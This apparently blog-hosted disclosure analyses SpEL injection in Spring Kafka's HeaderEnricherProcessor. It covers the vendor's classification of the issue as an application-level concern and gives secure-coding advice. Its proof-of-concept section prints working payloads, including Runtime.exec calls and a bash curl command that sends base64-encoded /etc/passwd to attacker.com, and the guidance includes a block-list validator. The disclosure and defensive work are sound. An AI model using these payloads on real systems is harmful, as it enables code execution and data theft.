SpEL Injection in Spring Kafka HeaderEnricherProcessor

Technical analysis of Spring Expression Language injection patterns in HeaderEnricherProcessor and the application security considerations for developers


Report ID: VDR-2026-0411-001
Date: April 11, 2026
Vendor Response: Application Issue
Component: Spring Kafka


Executive Summary

The HeaderEnricherProcessor class in Spring for Apache Kafka evaluates header values as Spring Expression Language (SpEL) expressions using StandardEvaluationContext, which provides unrestricted access to Java class loading, method invocation, and object graph traversal. When expression sources are not properly controlled, this can lead to remote code execution.

๐Ÿ“‹ Classification: Spring’s security team considers this an application-level security concern, where developers are responsible for ensuring SpEL expressions originate from trusted sources only.

This research examines the technical details of the SpEL injection pattern, demonstrates exploitation scenarios, and provides guidance for secure implementation patterns when using HeaderEnricherProcessor in production environments.


Vulnerability Analysis

Root Cause

The HeaderEnricherProcessor accepts a Map<String, Expression> where each entry defines a header name and a SpEL expression to compute its value. These expressions are evaluated using Spring’s StandardEvaluationContext, which provides full, unrestricted SpEL capabilities.

SpEL FeatureCapabilitySecurity Risk
T(...) Type referencesLoad arbitrary Java classesCritical
Method invocationCall any accessible methodCritical
Object graph traversalNavigate full object treeHigh
Constructor callsInstantiate arbitrary objectsCritical

Exposed Attack Surface

The evaluation root object exposes sensitive system components:

// Evaluation root exposes:
record    โ†’ org.apache.kafka.streams.processor.api.Record
context   โ†’ ProcessorContext (state stores, app ID, task ID)
key       โ†’ Record key (convenience alias)
value     โ†’ Record value (convenience alias)

Attack Vectors & Exploitation

1. Configuration Injection

When application.properties or application.yml values are sourced from external, untrusted inputs:

# Malicious configuration entry
spring.kafka.streams.processors.header-enricher.header-expressions.attack=\
  #{T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com/exfil?data=' + this.value)}

2. Dynamic Expression Construction

Application code that programmatically builds expression strings from user input:

// VULNERABLE PATTERN โ€” user input flows into expression
String userExpr = request.getParameter("enrichExpr");
SpelExpressionParser parser = new SpelExpressionParser();
headers.put("custom-header", parser.parseExpression(userExpr));

3. Proof of Concept Exploitation

Step 1: Standard topology setup (appears normal)

Map<String, Expression> expressionMap = new HashMap<>();
SpelExpressionParser parser = new SpelExpressionParser();

// Developer-intended enrichment
expressionMap.put("processed-at", parser.parseExpression("record.timestamp()"));

// If ANY expression is sourced from untrusted input:
expressionMap.put("enriched",
    parser.parseExpression(externalConfig.get("enrich.expression")));

KStream<String, String> stream = builder.stream("input-topic");
stream.process(() -> new HeaderEnricherProcessor<>(expressionMap))
      .to("output-topic");

Step 2: Simple RCE payload

#{T(java.lang.Runtime).getRuntime().exec('id')}

Step 3: Advanced data exfiltration

#{T(java.lang.Runtime).getRuntime().exec(
    new String[]{'bash', '-c', 'curl http://attacker.com/?d=$(cat /etc/passwd | base64)'}
)}

Step 4: ProcessorContext abuse for lateral movement

#{this.context.applicationId()}          // Leak application identity
#{this.context.taskId()}                 // Leak task assignment info
#{this.record.headers().toArray()}       // Exfiltrate all message headers

Impact Assessment

Confidentiality: Critical

  • Full read access to filesystem, environment variables, Kafka message contents, and ProcessorContext metadata

Integrity: Critical

  • Arbitrary code execution allows modification of data in transit, state stores, and underlying system

Availability: High

  • Attacker can terminate JVM, corrupt state stores, or launch resource exhaustion attacks

โš–๏ธ Security Classification Debate: While the technical impact remains severe (potential RCE), the lack of CVE assignment highlights the ongoing challenge of determining where framework responsibility ends and application responsibility begins.


Related SpEL Injection Vulnerabilities

Spring Expression Language injection has been identified in several components across the Spring ecosystem. Here’s how this HeaderEnricherProcessor issue compares to previously disclosed vulnerabilities:

CVEComponentDescriptionCVSS
CVE-2022-22963Spring Cloud FunctionSpEL via HTTP routing-expression header9.8
CVE-2022-22947Spring Cloud GatewaySpEL in Actuator route filters10.0
CVE-2025-41253Spring Cloud Gateway (Webflux)SpEL injection via application routesHigh
HeaderEnricherProcessorSpring KafkaSpEL injection via header expressionsApplication-Level

๐Ÿ” Technical Similarity: All these vulnerabilities involve StandardEvaluationContext allowing unrestricted SpEL evaluation. The classification differences reflect varying perspectives on where framework responsibility ends and application responsibility begins.

Common SpEL Injection Patterns

  • StandardEvaluationContext usage: Provides unrestricted access to Java classes and methods
  • External input sources: Expressions sourced from configuration, HTTP headers, or user input
  • Type references: T(...) syntax enables arbitrary class loading
  • Method invocation: Access to Runtime.exec() and other dangerous operations

Secure Implementation Guidance

๐Ÿ“‹ Framework Position: Spring considers HeaderEnricherProcessor usage an application responsibility. Developers must ensure SpEL expressions originate from trusted sources only.

Recommended Security Practices

1. Expression Source Control

// โœ… SAFE: Static expressions defined in code
Map<String, Expression> safeExpressions = Map.of(
    "timestamp", parser.parseExpression("record.timestamp()"),
    "app-version", parser.parseExpression("'v1.0.0'"),
    "processed-by", parser.parseExpression("'kafka-streams'")
);

// โŒ AVOID: Dynamic expressions from external sources
String configExpression = System.getProperty("custom.header.expr");
expressions.put("dynamic", parser.parseExpression(configExpression));

2. Configuration Validation

// Example: Validate expressions before use
public void validateExpression(String expr) {
    // Block dangerous patterns
    if (expr.contains("T(") || expr.contains("Runtime") || 
        expr.contains("ProcessBuilder") || expr.contains("exec(")) {
        throw new SecurityException("Unsafe expression detected");
    }

    // Allow only safe property access
    if (!expr.matches("^[a-zA-Z0-9.'()\\-_\\s]+$")) {
        throw new SecurityException("Invalid expression format");
    }
}

3. Alternative Approaches

  • Custom Processors: Implement dedicated header enrichment logic without SpEL
  • Template-based: Use simple string templates instead of full SpEL expressions
  • Predefined Values: Map headers to static values or simple record properties

Architecture Considerations

# Secure configuration example
spring:
  kafka:
    streams:
      application-id: secure-app
      # Keep expressions simple and static
      processors:
        header-enricher:
          expressions:
            timestamp: "record.timestamp()"
            version: "'1.0'"
            # Avoid: Any dynamic or externally sourced expressions

โš ๏ธ Key Principle: Treat any StandardEvaluationContext usage as potentially dangerous. Audit all SpEL expressions in your codebase for dynamic content sources.


Research Timeline

April 11, 2026 – Technical Analysis
Identified SpEL injection pattern in HeaderEnricherProcessor and conducted technical validation

April 11, 2026 – Proof of Concept
Developed exploitation examples and documented attack vectors

April 12, 2026 – Vendor Notification
Submitted findings to Spring Security team via established channels

April 15, 2026 – Vendor Response
Spring classified this as an application-level security concern rather than a framework vulnerability

Today – Public Research
Sharing technical analysis and secure implementation guidance with the developer community

๐Ÿ“ Research Outcome: While no CVE was assigned, this research provides valuable guidance for developers using HeaderEnricherProcessor in security-sensitive environments.


Key Takeaways

  1. Audit SpEL Usage: Review all HeaderEnricherProcessor implementations for dynamic expression sources
  2. Static Expressions Only: Ensure expressions are hardcoded and never sourced from external input
  3. Apply Defense in Depth: Use input validation, least privilege, and monitoring even for “application-level” issues
  4. Understand Boundaries: Know where framework responsibility ends and application security begins
  5. Consider Alternatives: Evaluate whether SpEL is necessary or if simpler approaches can meet requirements

This security research provides technical analysis of SpEL injection patterns and practical guidance for secure implementation. The findings contribute to better understanding of application security responsibilities when using Spring Expression Language.

Educational Purpose: This research helps developers understand potential security implications of SpEL usage and provides concrete guidance for implementing secure header enrichment patterns in Kafka Streams applications.


Security Research by Henock Habte โ€ข April 2026
Technical analysis conducted following responsible disclosure practices

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *